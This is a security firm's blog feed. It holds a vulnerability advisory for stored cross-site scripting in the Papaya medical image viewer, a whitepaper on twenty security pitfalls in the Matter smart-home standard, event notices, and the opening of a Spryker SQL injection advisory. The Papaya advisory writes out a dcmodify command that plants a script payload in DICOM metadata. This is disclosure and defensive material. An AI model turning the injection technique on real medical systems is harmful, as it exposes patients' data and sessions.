SCHUTZWERK contributes two technical talks: At the get-together on June 14, Manuel Stegmiller provides exciting insights into the “Variants of Phishing”. Using concrete examples, you learn what a phishing attack can look like and what damage can be caused. And Dr. Bastian Könings, with his presentation “From Human to Circuit Board - The Broad Spectrum of Penetration Testing in Practice”, shows which security vulnerabilities exist and how they are identified. Whether physical attacks on devices or vulnerabilities in communication media - the practical examples vividly convey the impetus that cybersecurity consulting creates for your company.

At Baral Connect, there will be plenty of opportunities to share knowledge, make new contacts and present innovative ideas. We look forward to seeing you there!

Advisory: Cross-Site-Scripting in Papaya Medical Viewer (CVE-2023-33255)

Lennert Preuth — Fri, 26 May 2023 10:17:53 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2022-001: Cross-Site-Scripting in Papaya Medical Viewer
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-33255
Link
====
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001.txt
Further SCHUTZWERK advisories:
https://www.schutzwerk.com/blog/tags/advisories/
Affected products/vendor
========================
Papaya, Research Imaging Institute - University of Texas Health Science Center
Summary
=======
User supplied input in the form of DICOM or NIFTI images can be loaded into the
Papaya web application without any kind of sanitization. This allows to inject
arbitrary JavaScript code into the image's metadata which will in consequence be
executed as soon as the metadata is displayed in the Papaya web application.
Risk
====
The vulnerability allows an attacker to inject arbitrary JavaScript code into
the Papaya web application. A risk calculation highly depends on how the Papaya
software is used as a library in the context of a bigger medical web
application. During the discovery of this vulnerability, the web application
which used Papaya allowed to upload and store corresponding images on the web
server and display them to multiple users. It was therefore possible to store
JavaScript code on the server and attack users to impersonate or steal their
session, leading to a disclosure of sensitive medical data.
Description
===========
A medical web application assessed for security vulnerabilities by SCHUTZWERK
was found to contain a stored cross-site-scripting vulnerability. The
application uses the Papaya JavaScript software[0] published by the Research
Imaging Institute belonging to the University of Texas Health Science Center[1].
The software is described as "[..] a pure JavaScript medical research image
viewer, supporting DICOM and NIFTI formats, compatible across a range of web
browsers [..]". It can be used stand-alone or integrated into larger medical
applications, has 192 forks and 488 stars on GitHub and was used in at least 50
published academic research papers[2].
One of the main features is to open medical images of multiple formats, which
can be achieved via the context menu "File - Add image...". Papaya then displays
the image and adds a new icon in the upper right corner of the viewer. This icon
allows to open another context menu to edit the previous opened image as a layer
in multiple ways. The option of interest for the cross-site-scripting
vulnerability is the "Show Header" entry, which allows getting further
information about the medical image.
An example DICOM[3] zip archive was downloaded[4], extracted and opened in
Papaya. The "Show Header" function shows multiple entries including private
patient data fields like patient ID, name, date of birth and gender.
The DICOM ToolKit (DCMTK)[5] offers multiple tools to analyze, create and edit
DICOM images. The metadata field "Manufacturer" of the previously downloaded
DICOM image was edited with help of the DCMTK tool dcmodify:
DICTPATH=/tmp/share/dcmtk/dicom.dic dcmodify -m
"Manufacturer=<script>alert(1)</script>" 2_skull_ct/DICOM/I0
The DCMTK tool dcmdump can be used to verify the manipulated metadata entry:
dcmdump 2_skull_ct/DICOM/I0
[..]
# Dicom-Data-Set
[..] (0008,0070) LO [<script>alert(1)</script>] # 26, 1 Unknown
Tag & Data [..]
Viewing the header information of the manipulated DICOM image in Papaya executes
the injected JavaScript code in the web browser.
SCHUTZWERK decided to publish the still existing vulnerability (commit 4a42701),
since the vendor did not implement any remediation several months after new
contributors have been introduced to the project.
Solution/Mitigation
===================
Several mitigation recommendations have been sent to the vendor. These include
common mitigation strategies from OWASP[6], like escaping user controlled input
and the usage of popular JavaScript libraries like DomPurify[7].
As a quick workaround, the context menu, which allows showing header information
can be disabled by setting the variable kioskMode to true.
Disclosure timeline
===================
2020-08-20: Vulnerability discovered 2020-08-20: Vulnerability reported to
vendor
2020-09-30: Contacted vendor again
2020-09-30: Vendor responds and asks for mitigation ideas
2020-10-01: Response to vendor with detailed information and mitigation ideas
2020-11-09: Contacted vendor again for any status updates
2022-08-30: Retest of the customer application including the Papaya web
application
2022-09-21: Notified vendor of intention to publish advisory
2022-10-18: Vendor notified SCHUTZWERK of new contributors who will maintain the
project
2023-04-19: Informed vendor about publication deadline on May 15, 2023
2023-05-08: Vendor replied with intention to fix vulnerability until May 15,2023
2023-05-15: Vulnerability fixed by vendor
2023-05-26: Advisory published by SCHUTZWERK
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth of
SCHUTZWERK GmbH.
References
==========
[0] https://github.com/rii-mango/Papaya
[1] https://rii.uthscsa.edu/
[2] http://mangoviewer.com/pubs.html
[3] https://en.wikipedia.org/wiki/DICOM
[4] https://medimodel.com/sample-dicom-files/human_skull_2_dicom_file/
[5] https://dicom.offis.de/dcmtk.php.de
[6] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_
Prevention_Cheat_Sheet.html
[7] https://github.com/cure53/DOMPurify
Disclaimer
==========
The information in this security advisory is provided "as is" and without
warranty of any kind. Details of this security advisory may be updated in order
to provide as accurate information as possible. The most recent version of this
security advisory can be found at SCHUTZWERK GmbH's website.
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRwkEgaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvCEA//YsP7ZUvk9VLzp49DtsMP
HQF0ojoBmNZOi5fymVDRGScmMT5VLOsdp9EUEywPYxmxo1rPc4vv6gM3hQsQ7TRO
oAb9ZeZjvYy2Nyz6cy3wX4H2naFOHEr085Uwpg9pX5DAHkQVsseTi/n04u5PT5xP
Fnuozie/KOG4pmkkKFHmG6aWgUSXWZuq8japOghl6g35BmG7ntXG2OYsb7f5ITYw
ksRbJt+8wetrBsa/pR6ZfEkoEpyuFZg85EDpDRoBPVlGZtuSF6dh+WfO+9VQBjLE
dZwPRaXefHp/v89rEfWvkX3JGmGWh6P8KQ+puF3GHLcBa8iDIbW/HPfQHGuGhfIa
upZ1E+HtgpxInxelM/BcFKXSjD4AMnAULa2C6nWsdmw8GIKHHus+WQuK1z40R7N4
Vji59buH9SBWAWb7MuyRrdxoZSmAuxcR7lXVzHMxSOZm0W7J0d9luLL8XUn4kj8+
tRE24TgbdGyAYr/V6BO9RiYCtyWPji5VBtwFZLFlvKRo81zyS9nve651nWS7Fv/l
OGns4fGbEZ+sm/YuFdfyzg8TMJ0pqV0AswCnx9mSqWn3RRBHg55pE4i6IyUdofu/
eiaTl33oyGolW7rQ5ATtmsOgKp5jKb7rt3WVSBLn1D9+JJ8MfbDrvyUoTkIZaqEp
4bKAQKWvxQG8GpbKuQT4on0=
=IEuk
-----END PGP SIGNATURE-----

Security Considerations for Matter Developers

Melissa Loos — Wed, 26 Apr 2023 06:20:40 +0100

Table of Contents

Introduction
Problem Statement
Background
Common pitfalls and how to avoid them
- No. 1: Implementing a weak random number generator
- No. 2: Insufficient protection of the device passcode
- No. 3: Insecure implementation of the multi-admin and multi-fabrics feature
- No. 4: Failure to achieve unique identifiers
- No. 5: Risking access control list wildcards and inconsistencies
- No. 6: Risks specific to bridges and bridged devices
- No. 7: Risking privacy by advertising vendor and product identifiers via DNS or Bluetooth
- No. 8: Risks specific to controllers, commissioners, edge routers, bridges, OTA providers and OTA requestors
- No. 9: Unsanitized user input
- No. 10: Rogue commissioners
- No. 11: Devices may ignore device attestation verification results
- No. 12: Evil twin attack
- No. 13: Manipulation of the CommissioningCustomFlowUrl
- No. 14: HTTP downgrade attack
- No. 15: Missing minimal requirements for underlying communication channels
- No. 16: Manipulation of sleepy end device parameters
- No. 17: Status report message injection
- No. 18: Revocation from groups
- No. 19: Underspecification of timed interactions
- No. 20: Dysfunctional implementations of event logging
Conclusion
References

Introduction

As the Internet of Things (IoT) continues to grow, the demand for smart home devices that can communicate with one another has increased significantly. The upcoming Matter standard provides a unified and secure approach to connect various smart devices, enabling them to work seamlessly with each other. However, this increased connectivity also means increased exposure to cyber-attacks, which can compromise users' personal information and privacy.

This whitepaper is directed at developers of Matter products and provides a summary of security considerations and pitfalls that should be kept in mind when developing Matter products, based on a security analysis of Matter conducted in a master’s thesis at SCHUTZWERK. Developers of Matter products can adopt these advices to ensure secure and reliable connectivity for their smart home devices. The paper covers security-related topics such commissioning, passcodes, randoms, group communication, bridges and multi-admin. It provides considerations that can be easily overlooked by manufacturers due to the high complexity of the young but promising Matter standard. We expect that readers of this whitepaper have already a basic understanding of Matter. For more technical details, please refer to the full security analysis [1].

Additionally, the paper highlights the importance of secure-by-design device development as well as regularly testing and updating device security measures to keep up with evolving cyber threats.

By adopting the Matter security best practices outlined in this whitepaper, device developers can create smart home devices that are secure, reliable, and trusted by users. The implementation of these practices not only protects users' personal information and privacy but also helps device developers build a positive brand reputation and gain a competitive edge in the IoT market.

Problem Statement

The Matter specification describes an application layer standard that promises security-by-design, interoperability across devices of different manufacturers and improved user experience. Due to the significance of the companies that have already engaged with Matter, we expect Matter to be greatly welcomed and adopted by manufacturers and users in the following years.

Although Matter has been developed with security in mind, and no public vulnerabilities are known so far, a great deal of caution has to be taken when working with young standards. This is because even though they might be robust against many well-known vulnerabilities per design, they have not been as thoroughly tested as market-proven protocols and might therefore contain yet unknown vulnerabilities, whereas older standards offer a better understanding of potential security risks. Even though the Matter functional security is described as self-contained [3], where security measures of the core specification are sufficient to protect devices, and although the specification has been tested for security during development, we were able to identify a handful of risks that can negatively impact the users' security and privacy.

The Matter specification is comprehensive and technical piece of work, that is not understood easily without weeks to months of commitment. There are several security and privacy relevant sections that give developers freedom on how to implement them, which risks manufacturers making mistakes that can lead to vulnerabilities. We expect that many developers, especially smaller development teams, will not be granted the time for fully understanding the Matter specification and its security implications. Therefore, we hereby provide a brief summary of the most significant security considerations we identified throughout our analysis of the Matter specification, to help device manufacturers avoid common pitfalls, which we expect will be addressed in later revisions of the Matter specification in order to uphold its promise of sufficient device protection by the core specification.

Background

Let’s reach back a little. For the reader to be able to understand the following section, we briefly summarize the relevant core features of Matter.

Supported transports and device types

As depicted in Figure 1, Matter allows interoperability between devices of different communication technologies, which are currently Wi-Fi, Ethernet and Thread.

Figure 1: Nodes, controllers, edge routers and sleepy end devices.

Here, nodes are regular devices with no special role, edge routers are devices that connect two different communication technologies, controllers are devices that can be used to control other devices in a network, and sleepy end devices are devices that can switch into idle mode to save energy.

But there’s even more. We also have bridges, which allow bridged Non-Matter devices to interact with Matter devices, as depicted in Figure 2.

Figure 2: Bridges and bridged devices.

Commissioning and session establishments

When we want to add a device to a Matter network, we first need to commission it. You can think of it as the initial pairing. Although Matter communication in general uses Wi-Fi, Ethernet and Thread, commissioning can be performed over Bluetooth Low Energy (BLE). The process is depicted in Figure 3.

Figure 3: Overview of the commissioning phases. Brown depicts unsecured communication, green is PASE-secured and blue is CASE-secured. Modified version of Nordic Semiconductor's depiction.

During commissioning, three device roles can be differentiated: commissioners, commissionees and administrators. There are multiple ways in which a device can be commissioned, but the most basic one is as follows: The user enters the onboarding payload of the commissionee, which is the joining device, into the commissioner to establish its identity. This code is unique to a device and includes a setup code and cryptographic information required for the secure connection. This initiates the device discovery stage, in which the user then has to push a pairing button on the commissionee to start the beaconing by which it communicates that it needs to be added to the network and advertises its identity information. The commissioner, who listens to the announcements, discovers the commissionee and initiates the password-authenticated session establishment (PASE), which is used by the two parties to establish a secure connection using the setup code as the out-of-band (OOB) passcode.

The PASE uses a fairly young password-authenticated key-exchange (PAKE) algorithm SPAKE2+ and serves multiple means: to establish a fail-safe during commissioning, for preliminary node configuration, verification that the commissionee is a certified Matter device, installation of operational credentials and network commissioning. The operational credentials include a node operational certificate (NOC), which needs to be signed by either an Intermediate Certification Authority (ICA) or directly by the Root Certificate Authority (RCA). Having obtained a valid NOC, the commissionee becomes a new node in the Matter fabric, which you can think of as a Matter network. Note that the commissioning network is distinct from the operational network to which the device is added. An Administrator administers nodes in a fabric, while the commissioner adds nodes to a fabric. Commissioner and administrator can be the same device, but are not required to.

Nodes that own a valid NOC can initiate a certificate-authenticated session establishment (CASE) to initiate communication with other nodes in a fabric. Here, nodes mutually authenticate to each other and derive shared secrets by use of their certificates and key pairs.

The Distributed Compliance Ledger (DCL)

There is one more concept we need to outline: the Distributed Compliance Ledger (DCL), which is used to store useful device-related information. During commissioning, it is used to verify, that a device is Matter certified, but it can also store manufacturer-controlled URLs which may be integrated into a device’s application logic.

Armed with this knowledge, we are now ready to continue to the next section, in which we take a look at Matter-specific caveats.

Common pitfalls and how to avoid them

Here are the top twenty Matter-specific security pitfalls that device developers should consider, along with possible solutions. Note that the order in which the weaknesses are presented does not indicate the severity of the impact. We added recommendations on how to address these issues for some of the pitfalls. Some security problems are hard to fix due to hardware constraints, economic feasibility, technical limitations or because fixing them would raise other issues. Therefore, we did not include explicit recommendations for some of the presented security pitfalls. Instead, we recommend that manufacturers and developers take these issues into consideration in their risk analysis and try to address them in future iterations of the specification. We acknowledge that designing the security for complex interoperability framework like Matter is a very difficult task that should not be done lightheartedly.

View full infographic or Download as PDF

No. 1: Implementing a weak random number generator

We found that most of Matter’s security relies on the implementation of a sufficient Random Number Generator (RNG). Even though Matter ensures at some parts of the specification (e.g., the initial PASE), that insufficient randomness by one party does not compromise the security of the protocol, insufficient randomness of both communicating parties certainly will. If you are implementing Matter devices, we cannot stress enough that you will certainly want to make use of a good RNG to not risk any attacks on the otherwise cryptographically secure protocols. The security model of Matter is designed for use with a True Random Number Generator (TRNG) with an entropy of at least 256 bits as the seeder for a Pseudo Random Number Generator (PRNG) with either CTR DRBG (with AES-CTR), HMAC DRBG (with SHA-256 or SHA-512) or Hash DRBG (with SHA-256 or SHA-512) as described in NIST 800-90A and NIST 800-90B [2, Chpts. 3.1, 3.2]. Further information on RNG attacks can be found in our blog post Attacking a Random Number Generator .

No. 2: Insufficient protection of the device passcode

Matter device passcodes are used for commissioning (the initial pairing) and can be either static, dynamic or ephemeral [2, Chpts. 5.1.7, 5.7.3.2.1]. Because dynamic passcodes are not yet fully specified, we expect that devices following the first version of the Matter specification use either static or ephemeral passcodes. The use of static passcodes, which may be distributed in text form, as a QR code or NFC tag, requires manufacturers to protect the secrecy of each individual passcode. The secrecy is risked by the following:

Insufficient randomness of individual device passcodes
Passcode read-out from closed packaging (NFC)
Passcode read-out using a camera (e.g., long-range camera through a window)
Offline brute-force attacks against the SPAKE2+ algorithm used during the PASE
Insecure use of the recommended copy/paste function for multi-function devices, e.g., by using the shared clipboard on outdated devices, which would allow other applications access to the device passcode
Insecure proof-of-possession during passcode recovery by the manufacturer support
Insecure transport of recovered passcodes
Abuse of the recovery program by manufacturer staff
Leakage during production of packaging by staff member
Passcode that are not sealed in closed packaging might be retrieved when packaging is opened at retail for demonstration purposes
Read-out from device hardware (e.g., memory read-out)
Insufficient education of users on how to securely store credentials
Resale of used devices (static passcodes)
Accidental disclosure via the MTop URL parameter in the manufacturer custom flow

Any failures to protect passcode secrecy allow an attacker to either eavesdrop on commissioning, which, besides others, leaks the network secret used for the underlying channel (e.g., Wi-Fi WPA-2 network key), or allows an attacker to commission the device under specific circumstances.

No. 3: Insecure implementation of the multi-admin and multi-fabrics feature

Multi-admin [2, Chpt. 12] is a feature that provides much usability, but comes at a price: multi-admin risks, that an attacker is able to obtain administrative rights without the user noticing. We noticed that the description of the multi-admin and multi-fabrics feature is currently underspecified, which leaves room for misinterpretations which in many cases significantly impact device security. To the best of our understanding, we believe that the multi-admin feature can currently only be implemented securely in the following way:

Each fabric has exactly one root certificate authority (RCA), which can appoint and revoke intermediate certificate authorities (ICAs). Both RCA and ICAs may equally administer nodes in a fabric according to the devices' access control lists (ACLs), but the ICAs are not able to revoke each other or the RCA. A deviation, in which multiple RCAs, or similar administrators of equal power exist within a fabric, risks multiple additional security problems and make it far easier for an attacker to abuse the multi-admin feature to gain control over a device. It currently seems possible for administrators to revoke privileges of other administrators. However, the specification unambiguously allows multiple administrators that are unrelated by any common roots of trust [2, Chpt. 2.4]. In this case, attacks that target the basic commissioning method (BCM) [2, Chpt. 5.6.2] or enhanced commissioning method (ECM) [2, Chpt. 5.6.3] are easier to achieve.

BCM is optional and risks, that an attacker is able to become administrator if they are in possession of the passcode, connected to the underlying communication channel, and respond faster than the user’s genuine multi-admin. An attacker that is able to trigger BCM is not able to escalate privileges unless they are in possession of the passcode.

ECM is mandatory and requires no knowledge of the passcode, but instead the ability to surveil the output of the administrator which displays or audio-outputs the ephemeral passcode. Apart from that, the attack remains the same as with BCM. ECM adds another weakness when an attacker gains one-time access to the administrative application because this would allow the attacker to trivially add their own devices without requiring passcodes. Given that administrative applications will probably be mostly used on smartphones, social engineering-based attacks where a phone is borrowed for a call (or other pretexts) are likely to succeed unless the administrative application itself is protected with a passphrase (and auto-logout), hindering the attacker from opening the administrative interface. Choosing the right mode depends on the device type and target group, which developers should take into consideration.

As a side remark, ECM with audio output and an external (potentially third-party) voice assistant enabled such as Alexa, Cortana or Siri has quite obvious security implications some technically aware users are probably not willing to risk. There already is smartphone malware that records audio , so let’s better consider that new malware might not only record audio, but also analyze Matter traffic and auto-reply in ECM, which is a horrific scenario.

No. 4: Failure to achieve unique identifiers

Matter uses various identifiers (IDs) [2, Chpt. 2.5], such as the fabric ID, node ID and group ID. These three identifiers need to be unique to avoid unspecified behavior. However, because their uniqueness is guaranteed in a module referred to as the administrative domain manager (ADM), which is explicitly out-of-scope of the specification, manufacturers need to ensure themselves that they implement unique and non-colliding identifiers. For fabric identifiers, this is even more difficult, because sometimes, compressed fabric identifiers are used instead, and we therefore suggest to include checks against collision of compressed fabric identifiers, as well. Non-unique identifiers also risk undefined behavior in user interfaces.

No. 5: Risking access control list wildcards and inconsistencies

ACLs in Matter are empty after factory reset and deny access by default. However, empty subject lists in a DCL grant access to any subject. When developing a Matter device, manufacturers should therefore ensure to not risk the production of wildcards when a subject is removed from a subject list [2, Chpt. 6.6.2.2], for example by making the removal idempotent such that a subject list is removed if an empty subject list would be created.

Administrators are sometimes required to alter an ACL entry for a group. However, because timely success of the modification cannot be guaranteed, it is possible that a node grants obsolete privileges until it receives the update. Even worse, there is a risk that when the connection fails too often, inconsistencies in group ACL entries are achieved, which an attacker could try to abuse.

No. 6: Risks specific to bridges and bridged devices

Non-Matter devices can be integrated into a Matter network with bridges [2, Chpt. 9.12]. An administrator is not meant to distinguish bridged devices from Matter-native devices, but will instead grant requested privileges to the bridge, which then inherits all of its privileges to the bridged devices. Manufacturers must take caution to grant bridges as few privileges as necessary, especially if the communication between bridge and bridged device is less secure than communication in Matter. Furthermore, we advise that administrative interfaces group bridged devices and their bridges together in such a way that it intuitively becomes clear that the devices share the same set of permissions. We suggest to educate users about the security implications of using bridges, to avoid any misunderstandings where a user wishes to grant permissions exclusively to one of the bridged devices, but not to the bridge itself or any of the other bridged devices. Keep in mind that end users are mostly technically unaware and usually fail to understand concepts that are self-evident for developers.

No. 7: Risking privacy by advertising vendor and product identifiers via DNS or Bluetooth

Advertising the vendor ID (VID) and product ID (PID) can leak potentially private information [2, Chpt. 5.4.2.5.6] and might even allow to infer information about the interiors of a building (e.g., the number of body scales might be equal to the number of bathrooms). We recommend to disable the advertisement of VIDs and PIDs per default, but allow the user to opt-in for the advertisement for usability reasons.

No. 8: Risks specific to controllers, commissioners, edge routers, bridges, OTA providers and OTA requestors

Controllers, commissioners, edge routers, bridges, over-the-air (OTA) providers and OTA requestors play powerful roles in a Matter network. While edge routers and bridges have an inherent middle-man position that makes it easier for them to drop and modify traffic, controllers (also referred to as administrators), commissioners and bridges influence which devices can participate in Matter communication and how, while OTA providers and OTA requestors have an impact on the device firmware of other devices. Because of this, these devices are of special interest for an attacker, and therefore, each device of this type should be especially security-hardened.

No. 9: Unsanitized user input

Some devices might allow their users to modify the device name (DN), also referred to as friendly name [2, Chpt. 4.3.3]. This name can be advertised over DNS and is probably a popular attribute to display in user interfaces to allow the user to select a device. If not validated and sanitized properly, any user input such as the DN might be abused for code injection.

No. 10: Rogue commissioners

During commissioner discovery, a node can discover and display potential commissioners [2, Chpt. 4.3.3]. But because any of the advertised information can be spoofed, an attacker can trick a commissionee into commissioning with an evil twin commissioner, which we call the rogue commissioner. Such attacks are expected when the user interface displays the advertised information in such a way, that the user is tricked into assuming that the malicious device is the genuine commissioner, for example by cloning VID, PID, DN and/or MAC address, depending on which of the information is displayed to the user. The attack is even more devastating if the attacker is able to suppress advertisement by the genuine commissioner, for example by dropping the advertisement as an edge router on the route between genuine commissioner and commissionee. The attack requires the attacker to be in possession of the passcode, and risks commissioning to an attacker-controlled device in an attacker-controlled network. The following figures depict two different ways in which a rogue commissioner may be perceived by a user:

Figure 4: A rogue commissioner using the same MAC address as the legitimate commissioner.

Figure 5: A rogue commissioner using the same name, make and model as the legitimate commissioner.

No. 11: Devices may ignore device attestation verification results

Even though Matter advertises that only Matter-certified devices can participate in a Matter network, as of the first iteration of the specification this is not correct, because device attestation verification results may be ignored by the commissioner [2, Chpt. 5.5]. Therefore, even though the device attestation verification itself is mandatory, it is totally within the specification to perform the verification, but continue with commissioning regardless of the results. Because of this, there currently are no guarantees that commissioned devices behave according to the specification. Because being able to integrate non-certified devices is a desired feature especially for the free and open-source software (FOSS) community, we do not expect that the specification will change in this aspect, but we recommend that developers make device attestation verification an opt-out for a secure-by-design setting, while keeping in mind that unexpected behavior can occur from both commissioned and uncommissioned devices.

No. 12: Evil twin attack

When a Matter network uses Wi-Fi as the underlying communication channel, the commissioning and network configuration process becomes vulnerable against the evil twin attack, because it is near impossible for Matter to protect against this kind of attack. An evil twin attack on Wi-Fi occurs, when the attacker clones the SSID of a genuine Wi-Fi network so that auto-connecting devices connect to the malicious network instead of the genuine one. The attack might even go unnoticed if the attacker is connected to both networks and can relay the communication, taking a machine-in-the-middle (MitM) position. We suggest that the attack might be detectable by comparing traceroute results [4].

No. 13: Manipulation of the Commissioning Custom Flow Url

There is a risk that the attacker is able to trick a user into opening a malicious website with a commissioner or commissionee (which is most likely a device such as a smartphone or television), even if the attacker is not able to influence the rest of the commissioning to the genuine device. This is because the CommissioningCustomFlowUrl is determined using the PID and VID advertised by the commissionee over the unsecured device discovery [2, Chpt. 5.1.1.3]. The attacker might be able to spoof the value such that the advertisement contains a different PID or VID. This becomes problematic when there is at least one abandoned or compromised CommissioningCustomFlowUrl included in the DCL, and when the commissioning application does not check whether the DCL entry was revoked. The commissioner is not able to confirm that PID and VID are correct unless the information is explicitly provided or checked by the user, or if the application itself contains other means of restricting valid identifiers. We hope that DCL entries containing malicious URLs will be revoked upon discovery, but since there will always be someone that will be first to discover the compromise, clients accessing this information must make sure to check that the information is still valid at the moment and may ask the user to confirm the VID and PID, which can be mapped to the vendor and product name instead.

No. 14: HTTP downgrade attack

Although the specification requires links to start with HTTPS [2, Chpt. 4.2.8], implying the use of transport encryption, there is no way that the CSA or Matter specification can enforce the use of transport encryption. We therefore recommend to implement an HTTPS-only mode in devices such that unencrypted communication over HTTP is rejected to prevent HTTP downgrade attacks.

No. 15: Missing minimal requirements for underlying communication channels

Currently there are no minimal requirements for the underlying communication channel, as long as it uses Wi-Fi, Ethernet or Thread. We suggest that Matter Wi-Fi devices use WPA-2 or newer to protect the communication channel, and for commissioning over BLE version 5.2 or newer in Secure Connection Only Mode (Secure Mode 1 with Security Level 4, FIPS mode). This way, many vulnerabilities of the underlying communication channel can be mitigated, which alone are not sufficient to break the security of Matter but widen the attack surface. Another option would be to allow less secure protocols only as an opt-in, which provides compatibility with older devices.

No. 16: Manipulation of sleepy end device parameters

Sleepy end devices (SEDs) in general are equally secured as regular nodes. SED parameters are used to configure the active and idle intervals [2, Chpt. 2.9]. The attacker can deplete the node’s energy by increasing the active interval and decreasing the idle interval, and they can slow down polling by increasing the idle interval. Slowing down polling is specifically interesting if the device retrieves sensor data and is configured to issue warnings on specific values or changes, while energy depletion can cause premature end-of-life if the battery is not rechargeable or exchangeable, and can result in temporary denial-of-service (DoS). A Non-Matter-specific depletion attack can be performed by continuously messaging the SED to prevent it from switching to idle mode. During the PASE, the SED parameters are part of the context, preventing the attacker from modifying the values.

However, during the CASE and discovery, the SED parameters are transmitted such that any modification of an attacker (e.g., by a malicious edge router) goes unnoticed, because they are sent in unsecured plaintext instead of being signed, hashed or encrypted, allowing the attacker to influence polling and transmission behavior. We believe the problem is fixed in future revisions by moving SED parameters to the to-be-signed part of the exchange, but in the meantime, manufacturers should be aware that the receiver of a session establishment message might assume other parameters than those sent by the genuine sender.

No. 17: Status report message injection

There are four unsecured status report messages of the secure channel protocol that can be injected into the network [2, Chpt. 4.10.1.3]: NO_SHARED_TRUST-ROOTS, BUSY and INVALID_PARAMETER can be used to interrupt PASE and CASE session establishments between two genuine devices, and SESSION_ESTABLISHMENT_SUCCESS, which is used to indicate successful session establishment, but can cause undefined behavior when a device implements a flawed process flow. Using BUSY, the attacker is able to discard unfavorable randoms as depicted in the below figure, because the session establishment is restarted after the duration of the requested timeout, and a fresh random is sent. While, as long as a sufficiently strong RNG is implemented, the entropy of the random is sufficient for the establishment to remain secure, an attacker (or pentester) could use this status report message to remotely examine the randomness of another device’s RNG.

Figure 6: An injected BUSY status report that is used to obtain another random.

No. 18: Revocation from groups

There is a significant risk that revocation from a group is handled in a way that the revoked member is able to participate in group communication far longer than is expected by the user. This is because operational group keys are derived from epoch keys [2, Chpt. 4.15]. Nodes can be given up to three epoch keys simultaneously. Epoch-based group communication allows scaleable revocation of group members by not handing out the next epoch key, which ultimately denies access to group communication from a cryptographic perspective.

However, in Matter, epochs are recommended to last for days to weeks. In worst case, an administrative interface implements group revocation such that the administrator responds with immediate removal of the revoked node’s representation within the group member list, while maybe instructing the revoked node to remove its keys. In this situation, the user would be misled to assume that the revoked group member is not able to participate in group communication the moment it is shown as removed, while the node in worst case is still able to participate, especially in terms of listening, in group communication for up to two epochs, which is significantly longer than a technically unaware user would expect. This risks serious privacy and security breaches, for example if an employee is granted temporary access to a system, potentially under supervision, that is revoked shortly after. Here, the employee gains unsupervised access to a group, which might become an easily overlooked security risk.

The problem can be prevented by ensuring that the Admin Refresh command is used after group member revocation, so that the epoch keys are completely rotated. However, this somehow reduces the benefits of using epochs for group communication, so we recommend to make this behavior an opt-in, allowing users to switch between the two modes. More importantly, administrative interfaces should ensure to correctly display the exact point of time at which a group member is fully removed from a group from a cryptographic perspective.

No. 19: Underspecification of timed interactions

Matter uses timed interactions to protect against replay attacks [2, Chpt. 7.6.10]. We consider them to be a great protective measure, and because it has not yet been specified, recommend to implement them in a way that limits triggering of an action to at most once during the specified interval. This is because implementations are not required to support cache-and-sync message counter synchronization, which can occur on certain events such as device reboot, making the device potentially vulnerable against replay attacks because the first authenticated message is trusted in the trust-first policy. To make it clear, both message counters and timed interactions protect against replay attacks, each narrowing the time frame in which such attack is possible to an extent where the attack is unlikely to succeed. By closing the receive window after the interaction was received, the replay attacks (of secured communication) become almost impossible.

No. 20: Dysfunctional implementations of event logging

Logging in Matter is implemented via event records [2, Chpt. 7.14]. Events are categorized into three priority levels (debug, info, critical). Newer event records may overwrite older event records of the same priority level. However, it is not described how buffer is reserved for each priority level. This is probably a no-brainer, but make sure that for each priority level, sufficient space in buffer is reserved instead of relying on an even distribution when the buffer is filled for the first time.

Conclusion

We found that Matter keeps up with most of its security claims. We pointed out some of the weaknesses that manufacturers might want to address to further strengthen the security of their products. The presented weaknesses were taken from a master’s thesis by Melissa Loos, which was created at SCHUTZWERK GmbH in cooperation with Ulm University . It is publicly released at the Oparu platform of Ulm University . Feel free to contact us if you want our help in further improving the security of your Matter products.

References / Credits

[1] Melissa Loos. Security Analysis of Matter , Masterthesis, Ulm University, January 2023.
[2] Connectivity Standards Alliance. Matter Core Specification 1.0 , October 2022.
[3] Connectivity Standards Alliance. Matter Security and Privacy Fundamentals , March 2022.
[4] Alex Burns, Longfei Wu, Xiaojiang Du, Liehuang Zhu. A Novel Traceroute-Based Detection Scheme for Wi-Fi Evil Twin Attacks , December 2017.
Download Matter security pitfalls as PDF .

Credits: The elaborations associated with this subject are part of the results of a Master’s thesis by Melissa Loos created at SCHUTZWERK GmbH in cooperation with Ulm University .

SCHUTZWERK at the building IoT 2023

SCHUTZWERK GmbH — Tue, 25 Apr 2023 09:00:00 +0100

SCHUTZWERK will be at the building IoT conference in Munich from April 26 to 27, 2023 giving a talk. Since 2016, building IoT has been the meeting place for those who develop software applications and digital products in the Internet of Things and the Industrial Internet of Things.

On April 27, we will give the talk Easy prey for hackers? Finding and avoiding typical vulnerabilities in IoT solutions , presenting the most common and relevant vulnerabilities in IoT devices from our assessment practice. We will explain the vulnerabilities using real-life practical examples and show how they can be uncovered during penetration testing and thus detected and fixed at an early stage.

We are looking forward to the on-site exchange on IoT and embedded security. If you would like to make an appointment, please send an email to info@schutzwerk.com . We will be on site during the whole conference.

Advisory: SQL Injection in Spryker Commerce OS (CVE-2023-27568)

David Brown — Thu, 20 Apr 2023 14:00:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-001: SQL Injection in Spryker Commerce OS
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-27568
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-001/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-001.txt
Affected products/vendor
========================
Spryker Commerce OS by Spryker Systems GmbH, with spryker/sales: 11.16.0-11.36.1
or spryker-feature/order-management: 202009.0-202212.0
Summary
=======
An SQL injection vulnerability affecting Spryker-based webshops was discovered
in the order history search form. It can be exploited by authenticated
attackers in order to retrieve informationen from the database (e.g. customer
and administrator login information, order details, etc.). Depending on the
configuration of the webshop, access to the file system or even execution of
arbitrary commands on the database management system is possible.
Risk
====
